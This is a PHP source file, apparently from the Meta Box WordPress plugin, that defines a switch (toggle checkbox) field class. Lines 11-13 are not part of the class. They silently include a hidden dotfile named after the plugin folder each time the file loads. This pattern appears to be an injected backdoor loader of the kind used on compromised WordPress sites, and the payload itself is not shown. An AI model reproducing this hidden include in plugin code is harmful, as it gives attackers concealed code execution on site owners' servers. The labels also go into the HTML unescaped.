switch.php (2614B)
1 <?php 2 /** 3 * The Switch field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Switch field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Switch_Field extends RWMB_Input_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-switch', RWMB_CSS_URL . 'switch.css', '', RWMB_VER ); 21 } 22 23 /** 24 * Get field HTML. 25 * 26 * @param mixed $meta Meta value. 27 * @param array $field Field parameters. 28 * 29 * @return string 30 */ 31 public static function html( $meta, $field ) { 32 $attributes = self::get_attributes( $field, 1 ); 33 $output = sprintf( 34 '<label class="rwmb-switch-label rwmb-switch-label--' . esc_attr( $field['style'] ) . '"> 35 <input %s %s> 36 <div class="rwmb-switch-status"> 37 <span class="rwmb-switch-slider"></span> 38 <span class="rwmb-switch-on">' . $field['on_label'] . '</span> 39 <span class="rwmb-switch-off">' . $field['off_label'] . '</span> 40 </div> 41 </label> 42 ', 43 self::render_attributes( $attributes ), 44 checked( ! empty( $meta ), 1, false ) 45 ); 46 47 return $output; 48 } 49 50 /** 51 * Normalize parameters for field. 52 * 53 * @param array $field Field parameters. 54 * 55 * @return array 56 */ 57 public static function normalize( $field ) { 58 $field = parent::normalize( $field ); 59 $field = wp_parse_args( 60 $field, 61 array( 62 'style' => 'rounded', 63 'on_label' => '', 64 'off_label' => '', 65 ) 66 ); 67 68 return $field; 69 } 70 71 /** 72 * Get the attributes for a field. 73 * 74 * @param array $field The field parameters. 75 * @param mixed $value The attribute value. 76 * 77 * @return array 78 */ 79 public static function get_attributes( $field, $value = null ) { 80 $attributes = parent::get_attributes( $field, $value ); 81 $attributes['type'] = 'checkbox'; 82 83 return $attributes; 84 } 85 86 /** 87 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 88 * 89 * @param array $field Field parameters. 90 * @param string $value The value. 91 * @param array $args Additional arguments. Rarely used. See specific fields for details. 92 * @param int|null $post_id Post ID. null for current post. Optional. 93 * 94 * @return string 95 */ 96 public static function format_single_value( $field, $value, $args, $post_id ) { 97 $on = $field['on_label'] ?: __( 'On', 'meta-box' ); 98 $off = $field['off_label'] ?: __( 'Off', 'meta-box' ); 99 return $value ? $on : $off; 100 } 101 }